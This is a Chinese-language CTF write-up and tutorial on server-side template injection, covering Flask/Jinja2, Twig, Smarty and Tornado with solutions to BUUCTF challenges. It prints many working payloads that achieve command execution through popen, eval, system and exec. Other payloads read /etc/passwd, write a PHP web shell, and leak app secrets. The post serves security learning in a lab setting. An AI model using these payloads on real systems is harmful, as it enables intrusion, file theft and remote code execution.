BUUCTF SSTI模板注入
基础原理
SSTI模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者 getshell 的目的
一般特征函数:render_template_string
SSTI_flask_labs
可以看到数据被解析了,那么怎么注入呢?
1 __class__ 可以返回当前变量的类型:
然后这些类型的基类(也就是父类)都是 object ,而我们要的能够命令执行的类的基类(父类)也是 object ,所以 ssti 基本思路就是通过类之间的转换得到我们需要的。
2 .1__bases__ 可以返回当前类的基类(父类)
可以加个数组进行索引:
至此便得到了 object
2.2 __mro__ 也可以返回基类(父类)
只不过它回把原类显出来,可以加个数组只索引 object
3 __subclasses__() 可以查当前类的子类
我们需要的是 <class 'os._wrap_close'> 这个类
4 __init__.__globals__
__init__
函数初始化类,返回类型为function:
然后接__globals__
函数(解释一:使用方式是 函数名.__globals__
获取function所处空间下可使用的module、方法以及所有变量。)(解释二:该特殊属性能够返回函数所在模块命名空间的所有变量,其中包含了很多已经引入的modules,这里看到是支持__builtins__
的)
最后执行命令
code={{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']("ls /").read()}}
当然方法不只一种,但大概原理都差不多,
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} //也行
参考:https://blog.csdn.net/cjdgg/article/details/115770395
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
参考:https://blog.csdn.net/rfrder/article/details/113866139
常用的过滤函数:
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
对于简单的也可以用工具
题目练习
简单
[CSCCTF 2019 Qual]FlaskLight
参数 search
找到 object 的所有子类,
但是里面没有 os 的类,看师傅们wp发现还可以用 subprocess.Popen 进行命令执行(可以手工试,也可以用脚本遍历)
构造:
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0]}}
也可以
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
继续拿到 flag 即可
[BJDCTF2020]Cookie is so stable twig模板注入
进入题目在FLAG页面有登录按钮,在当登录时抓包,发现post多了参数,但不管怎么改 username 参数都没用,然后再在登录进去时进行抓包,发现在cookie又多了个参数,传参,发现渲染成功,猜测可能渲染的不是登录的时的 username ,而是渲染的登录后用户名
在user处尝试注入
{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig
可以看到这里为 Twig 模板,而且题目也提示了。这个模板关键词 createTemplate 和 render
注入原理:
这道题什么都没有过滤,直接复制payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}
这个payload只适用于Twig 1.x
Twig 3.x可以利用过滤器来执行命令
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} // 无回显
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 无回显
这道题时 Twig 1.x
Twig 模板注入常用 payload
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}
[VolgaCTF 2020]Qualifier]Newsellter
云做一道题。
这里主要绕过的就是
[WesternCTF2018]shrine
看到源码
payload
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
得到flag
[CISCN2019 华东南赛区]Web11
页脚发现:
1、Smarty SSTI利用:
Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
2、漏洞验证:
一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。该题目的Smarty版本是3.1.30
当然还要其他验证
a{*comment*}b //确定为smarty模板
3、常规利用方式:
一、
Smarty支持使用{php}{/php}
标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言,使用{php}{/php}标签会报错
原因:
Smarty3已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
二、
{literal} 标签
官方手册这样描述这个标签:
{literal}
可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
这道题是php7环境,所以不行
三、
通过self获取Smarty类再调用其静态方法实现文件读写被网上很多文章采用。
很多文章里给的payload都形如:{self::getStreamVariable(“file:///etc/passwd”)}
这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除
四、
{if}标签
官方文档中看到这样的描述:
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}
构造:
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
[BJDCTF2020]The mystery of ip
简单的 smarty 模板注入,注入点为 XFF
[GYCTF2020]FlaskApp debug
fenjing一把梭了:
python3 -m fenjing crack -u http://3254228f-4070-4802-8291-5610fe005d13.node5.buuoj.cn/decode -i text --tamper-cmd base64
其构造的paylaod:
{%set wp='so'[::-1]%}
{%set ca='txt.galf_eht_si_siht/ tac'[::-1]%}
{{cycler.next.__globals__.__builtins__['__i''mport__'](wp)['p''open'](ca).read()}}
中等
[护网杯 2018]easy_tornado
tornado 模板,直接看师傅们的wp:
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
payload:
{{handler.settings}}
得到 cookie_secret
进行md5编码
php也行(字符串连接用点):
得到flag
[CISCN2019 华东南赛区]Double Secret
路由和参数都是secret。乱输一通报错:
进行了rc4解码然后再进行模板渲染,
所以构造payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
//进行rc4编码
得到flag:
标签:__,.__,builtins,globals,Smarty,BUUCTF,SSTI,模板 From: https://www.cnblogs.com/gaorenyusi/p/18213835